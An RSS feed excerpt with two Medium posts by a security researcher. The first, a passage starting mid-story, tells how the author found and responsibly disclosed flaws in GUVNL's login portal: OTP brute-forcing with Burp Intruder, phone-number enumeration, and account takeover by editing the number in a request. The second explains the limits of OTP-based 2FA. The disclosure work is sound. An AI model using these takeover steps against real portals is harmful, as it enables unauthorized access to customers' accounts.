were over — until the moment I hit the payment stage. Now, the front-end of the website had been fixed, but the payment server either wasn’t properly configured or wasn’t connected at all. This was the point where frustration met curiosity. Instead of making another support call, I decided to take matters into my own hands.</p><p>As a security researcher, I couldn’t help but fire up <strong>Burp Suite</strong> and start analyzing the traffic between the site and my browser. What began as a way to diagnose the issue quickly turned into something much bigger. During my inspection, I stumbled across a few minor security issues. At first, they seemed like low-level risks — nothing out of the ordinary.</p><p>But then, something caught my eye.</p><p>The OTP (One Time Password) I received was only <strong>4 digits</strong> long. Generally, best practices recommend <strong>6 digits</strong>, along with brute force protection and a short expiration time (5 minutes or less). I decided to investigate further.</p><p>I logged out of the session and repeated the login process, this time carefully capturing the OTP request. With the data in hand, I set up <strong>Burp’s Intruder</strong> to brute-force the OTP. Given that this was a well-established organization with millions of consumers, I expected to be blocked quickly, maybe with a <strong>429 Too Many Requests</strong> error or something similar. After all, they probably had stringent security audits and were compliant with <strong>CERT-In</strong> guidelines, right?</p><p><strong><em>Wrong.</em></strong></p><p>To my surprise, every request I sent was met with a <strong>200 OK</strong> status code. No blocking. No rate-limiting. As I watched the responses trickle in, I noticed something interesting. Although the time taken to process each request varied, the <strong>response length</strong> was identical for every request — except one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T6SJtArlYGEZF5tK" /></figure><p>That was it. <strong>The game-changer.</strong></p><p>That single, different response length was the correct OTP. This flaw, left unchecked, could allow an attacker to gain unauthorized access to any consumer account by brute-forcing the OTP.</p><p>But being an overthinker, I couldn’t shake off the nagging doubt. What if they dismissed my findings, claiming, “How could an attacker guess the contact number of users registered on their portal?” Determined to explore this angle, I returned to the login portal and attempted to log in using a different number — one that I was certain wasn’t registered. The portal redirected me to a message stating that the entered number wasn’t in their database. This opened up a glaring possibility: brute-forcing contact numbers could easily allow an attacker to scrape several hundred users’ contact details from a pool of over 15 million customers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/0*4v2-_8le3QNuE7PW" /></figure><p>Consider this: residents of the same community often have their neighbors’ numbers. If someone were determined enough, pinpointing a target from a small residential area wouldn’t be too difficult.</p><p>Still not satisfied with just the theory, I decided to take a more hands-on approach. I reached out to one of my relatives, a GUVNL customer, and explained my research. With his permission, I used his contact details and access to his GUVNL account for further investigation.</p><p>In an era where digital awareness is paramount, my method might seem suspicious, especially since an OTP would be triggered. However, the assumption that the OTP would remain private gave me an edge.</p><p>Now, let’s walk through my proof of concept for a <strong>Zero-Click Unauthorized Account Access</strong>. I started by entering my relative’s number on the login portal and selecting the appropriate distributor — GUVNL serves multiple regions in Gujarat, so they’ve streamlined operations into four divisions. Upon submitting the correct number, an OTP was sent to my relative’s device. Although I didn’t have access to it, I proceeded to brute-force the OTP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P5lb9rAijVxX-Y5w" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*z3WWfpYj9v47t9IR" /></figure><p>Upon submission, I was taken to a third page that featured a dropdown list showing the number I’d entered. This page, I realized, had nothing to do with the previous steps — neither the registered number nor the OTP. Curiosity piqued, I erased all session data and restarted my browser to ensure no cookies or cache lingered, then repeated the process with my number. This time, I enabled the intercept feature to closely monitor the requests and responses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_VAoN9hkhNLAVB6p" /><figcaption>Before submitting the OTP, I right-clicked and selected “Do Intercept Response to this Request,” allowing me to read and edit the response before it reached my browser. To my surprise, I found my number reflected in the response.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gVUZfMjfDAYH7sie" /></figure><p>Changing it to my relative’s number was simple enough. However, I thought that merely manipulating the response wouldn’t change the backend logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6V4OEVhcveKlYcwN" /></figure><p>Or would it?</p><p>I tried it anyway. After altering the response to display my relative’s number instead, I sent the request. Nothing happened. Frustration set in. I took a break to clear my head. Upon returning, I attempted to submit the request again, but it still wouldn’t work. Opening Burp to check the logs revealed the culprit: I had forgotten to turn off the intercept button! 🤦</p><p>In a moment of exasperation, I realized that the POST request was, in fact, using the value from the frontend. When I changed the number in the submit request of the dropdown, I finally got access to the target account without triggering an OTP at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v-K656Xo80p92kNL" /></figure><p>With the vulnerability confirmed, I decided to reach out to GUVNL’s consumer care team. I briefly explained the critical security vulnerabilities I had discovered in their public login portal. However, the representative on the other end, clearly non-technical, didn’t grasp the urgency of the matter.</p><p>I asked if I could be connected to their IT or developer team, but to no avail. Days went by without any significant progress. I followed up and was told to check their website for contact details of senior officers.</p><p>After some searching, I found contact information for several senior officials. I tried various numbers, but many were disconnected or went unanswered. Eventually, on the 7th or 8th attempt, someone picked up. I greeted him and tried to explain my concerns, but he, too, was a non-tech official. After asking him to pass my message along, he insisted he couldn’t do that and suggested I call back later.</p><p>Frustrated, I tried again in the afternoon, and he finally provided me with a colleague’s number. I reached out to this new contact, summarized my concerns without delving into technical specifics, and emphasized that this was a critical security risk. He asked me to send an email detailing the issue.</p><p>I complied, but weeks passed without any response. In my follow-up call, I encountered an irate voice on the other end, “This nonsense isn’t our job! I’m not a technical person; I can’t do anything about it! Don’t call me again!” His response was disheartening and illustrated a larger problem in the industry — many organizations lack the responsiveness to security concerns raised by ethical hackers and researchers.</p><p>Many Indian organizations, especially in the government sector, often become victims of major cyber attacks due to a lack of awareness about cybersecurity. This is partly due to a mindset of ignoring visible risks and a tendency to cut costs on crucial security measures. Additionally, some organizations dismiss cybersecurity assessments out of pride, believing their systems are invulnerable. These attitudes not only put the organizations at risk but also compromise the data and privacy of users. Ultimately, it is the users who bear the brunt of these security oversights.</p><p>Let’s jump back to our scope.</p><p>Despite my disappointment, I remained committed to safeguarding the digital security of the people in my state. I sought connections through personal networks and reached out to peers and professors at my college (yes, I’m still pursuing my B.Tech!) but met with little success.</p><p>Eventually, I discovered that CERT-in has a vulnerability disclosure team that assists researchers and bug hunters in communicating with organizations to resolve such issues. On June 26, I reported the vulnerabilities under <strong>A01:2021 — Broken Access Control</strong>. And guess what !! No luck either…</p><p>Just as I was beginning to lose hope of ever receiving a response, I stumbled upon a Medium post by the experienced security researcher, Sri Krishna Kothapalli. He too faced a similar issue and wanted to report a critical bug which disclosed PII information of users of a government portal which was lately solved and had mentioned if any researcher needs help can contact him. I immediately reached out to him, detailing my situation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/0*gbGl5XJQdDx5Xj-C" /></figure><p>That evening, he connected me with one of his team members and asked him to look into this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/0*ytHxKXlBIlDUFzyF" /></figure><p>Whether it was a favor from Sri Krishna Sir or direct action from CERT-in, the very next morning I received a response on August 1, 2024, stating they would communicate with the GUVNL team to address the issue. As a token of gratitude, I thanked him for his assistance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/0*HYKOdPwrxm-AnbEk" /></figure><p>Finally, after reassessing the situation, the vulnerabilities were fixed on August 12. I had suggested implementing a rate limiter based on IP, increasing the OTP length to 6 digits, or using an alphanumeric string, along with instituting a user lockout policy (where accounts would be locked after a specified number of incorrect OTP attempts).</p><p>To my relief, they increased the OTP length from 4 to 6 digits. However, either out of irritation from constantly patching vulnerabilities or a newfound commitment to user security, they also instituted a policy that locked user accounts on the very first attempt of an incorrect OTP! 😂</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/0*Tm9CJukLMv9bnSNI" /></figure><p>Had this been a bug bounty, I could have potentially earned a several thousand dollars. But in the end, I take solace in knowing that the accounts of 15 million users are now significantly safer from unauthorized access.</p><p>If you’ve made it this far, you’re obviously as passionate about cybersecurity as I am! Please hit the “Like” button multiple times (Medium allows up to 50!) to show your support for this article, share it with fellow cyber enthusiasts, and follow for more insightful posts.</p><p>Comment below what topics would you like to have an insight on? New Vulnerabilities, Bug bounty reports, so something else…</p><p>PS: It was a responsible disclosure, I haven’t shared any details of what the vulnerability exactly was to anyone until rest assured that it was successfully fixed.</p><p>Thank you all!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6dc453323851" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MFA Misunderstood : The OTP misconception Story]]></title>
            <link>https://medium.com/@yashprajapati791/mfa-misunderstood-the-otp-misconception-story-4ac3771713bc?source=rss-c4f281caa657------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ac3771713bc</guid>
            <category><![CDATA[multifactorauthentication]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[securityawarenesstraining]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Yash Virendra Prajapati]]></dc:creator>
            <pubDate>Mon, 02 Sep 2024 06:31:51 GMT</pubDate>
            <atom:updated>2024-09-02T06:31:51.360Z</atom:updated>
            <content:encoded><![CDATA[<h3>MFA Misunderstood : The OTP misconception Story</h3><p>In today’s digital age, safeguarding our online accounts has never been more critical. Two-Factor Authentication (2FA) and Multi-Factor Authentication (MFA) are often hailed as pivotal in enhancing our security. However, a significant misconception persists: many equate 2FA strictly with One-Time Passwords (OTPs). While OTPs are a component of 2FA, they represent only a part of the broader security strategy.</p><h3>Understanding 2FA and MFA</h3><p>Two-Factor Authentication (2FA) and Multi-Factor Authentication (MFA) are security measures designed to enhance the traditional username-password combination by requiring additional verification methods. Here’s a brief overview of each:</p><ul><li><strong>2FA (Two-Factor Authentication)</strong>: Involves two distinct forms of authentication. Typically, this is something you know (your password) and something you have (a device or app generating a verification code).</li><li><strong>MFA (Multi-Factor Authentication)</strong>: Extends beyond 2FA by incorporating more than two verification factors, which could include something you are (biometrics) or where you are (geolocation).</li></ul><h3>Current Practices in 2FA Implementation</h3><p>Modern applications commonly use OTPs as the second factor in 2FA setups. Here’s how it generally works:</p><ol><li><strong>User Authentication</strong>: The user logs in using their username and password.</li><li><strong>OTP Delivery</strong>: An OTP is generated and sent to a device or email registered with the user’s account.</li><li><strong>OTP Verification</strong>: The user enters the received OTP to complete the authentication process.</li></ol><p>While this method adds a layer of security, it’s crucial to recognize that it isn’t robust enough to prevent attacks, especially account takeovers.</p><h3>The Misconception and Its Implications</h3><p>The misconception lies in treating OTPs as the be-all and end-all of 2FA. Developers often configure applications to send OTPs to registered devices or email addresses. Here’s where the practice falls short:</p><ul><li><strong>Single Point of Access</strong>: If an attacker gains physical access to user’s device or email account, they can retrieve the OTP sent for verification. This scenario is particularly risky if the device is stolen or compromised.</li><li><strong>Code Reuse</strong>: OTPs are often stored in device history or apps. An attacker with access to a stolen device can easily retrieve these codes and potentially bypass security measures.</li><li><strong>Lack of Device Security</strong>: If your device is not adequately secured, anyone with access to it can intercept OTPs or view saved authentication codes, compromising your account’s security.</li></ul><h3>Real-World Impact</h3><p>Consider a situation where an attacker steals your phone. If your OTP is simply sent to this phone, the thief can access your device, check your messages or apps for the OTP, and potentially log in to your accounts. This weakens the overall security framework that 2FA aims to enhance.</p><h3>OTP as Identity Verification, Not Authentication</h3><p>In many modern applications, OTP is implemented as a default login feature, sometimes without essential security mechanisms like rate limiting, proper OTP expiration, or account lockout policies. This often leads to vulnerabilities such as easy account takeover via brute force attacks. Therefore, OTPs should primarily be used for identity verification or confirmation, rather than as a standalone authentication mechanism.</p><h3>Best Practices for Robust Authentication</h3><p>To mitigate these risks and implement a more secure 2FA strategy, consider the following practices:</p><ol><li><strong>Use Secure Channels for transmission of OTP</strong>: Implement encrypted channels for sending OTPs. Consider using secure apps (like authenticator apps) instead of SMS, which is more vulnerable to interception.</li><li><strong>Use Time-based One-Time Passwords (TOTP) or Authenticator Apps</strong>: Utilize apps like Google Authenticator or Authy that generate OTPs based on time, reducing the risk of interception compared to SMS-based OTPs.</li><li><strong>Incorporate Additional Factors like Biometrics</strong>: Implement biometric authentication methods, such as fingerprint or facial recognition, as an additional layer of security as they can be hard to compromise. Even Hardware Tokens are a good alternative as they use physical hardware tokens (like YubiKeys) that require physical presence and interaction.</li><li><strong>Educate Users</strong>: Security Awareness is the key factor as humans are the weakest link in security of digital data or devices so it is important to inform users about securing their devices and accounts. Encourage the use of strong, unique passwords and regular updates to their security settings.</li><li><strong>Monitor and Respond</strong>:Anomaly Detection can be implemented over systems to detect unusual access patterns and alert users to potential security breaches.</li></ol><h3>Conclusion</h3><p>While OTPs are a valuable component of Two-Factor Authentication, they are not a silver bullet for security. A comprehensive understanding of 2FA and adherence to best practices can significantly enhance your security posture. By moving beyond the misconception that OTPs alone constitute robust 2FA and incorporating additional security measures, you can better protect your digital identity from potential threats. Stay informed, stay secure, and ensure your authentication practices are as resilient as possible.</p><p>Let me know in the comments below what topic shall we cover next!! Until then keep learning and keep exploring !!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ac3771713bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>